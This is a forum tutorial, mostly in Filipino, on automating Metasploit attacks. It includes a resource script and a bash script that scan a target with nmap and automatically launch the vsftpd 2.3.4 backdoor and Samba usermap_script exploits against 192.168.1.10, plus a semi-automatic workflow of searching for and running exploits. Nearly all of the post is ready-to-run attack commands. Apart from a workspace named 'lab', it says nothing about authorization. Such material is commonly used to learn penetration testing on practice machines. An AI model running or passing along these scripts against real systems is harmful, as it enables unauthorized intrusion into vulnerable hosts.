👨‍🏫 Tutorial Metasploit Automation Script (auto exploit)

NinjaWangya

Grasshopper

⚙️


Ito ang pinaka-simple at built-in sa Metasploit.


📝 Gumawa ng script file​



nano auto_exploit.rc


📌 Sample Script​




spool output.txt

use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.1.10
set RPORT 21
run

use exploit/multi/samba/usermap_script
set RHOSTS 192.168.1.10
set RPORT 139
run

spool off



▶️ Run Script​




msfconsole -r auto_exploit.rc



👉 Automatic na tatakbo lahat ng exploits na nilagay mo.




🧠


Mas advanced—gagamit tayo ng Nmap + Metasploit database.


1. Scan target​




nmap -sV -oX scan.xml 192.168.1.10



2. Open Metasploit​




msfconsole



3. Import scan​




db_import scan.xml



4. Auto-suggest exploits​




db_nmap -sV 192.168.1.10



Then:




vulns





🔥


Example semi-auto flow:​




msfconsole





workspace -a lab
db_nmap -sV 192.168.1.10
services



Search:




search vsftpd



Exploit:




use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.1.10
run





🤖


Pwede kang gumawa ng script na automatic:


📝 Create script​




nano auto.sh



📌 Example:​




#!/bin/bash

TARGET="192.168.1.10"

echo "[+] Scanning target..."
nmap -sV $TARGET -oX scan.xml

echo "[+] Running Metasploit auto exploit..."

msfconsole -q -x "
use exploit/unix/ftp/vsftpd_234_backdoor;
set RHOSTS $TARGET;
run;
exit
"



▶️ Run:​




chmod +x auto.sh
./auto.sh





🧩


Dati may:




db_autopwn



👉 Pero deprecated na (tinanggal dahil risky at noisy)




💡


Instead of blind auto:


  1. nmap scan
  2. Identify service
  3. search sa Metasploit
  4. Run targeted exploit

👉 Mas effective kaysa auto spam




⚠️


  • Walang perfect “auto häçk tool”
  • Kailangan pa rin ng analysis
  • Automation = speed, hindi magic
 

About this Thread

  • 0
    Replies
  • 525
    Views
  • 1
    Participants
Last reply from:
NinjaWangya

Trending Topics

Online now

Members online
1,155
Guests online
917
Total visitors
2,072

Forum statistics

Threads
2,279,313
Posts
28,989,778
Members
1,226,801
Latest member
ghoststitch
Back
Top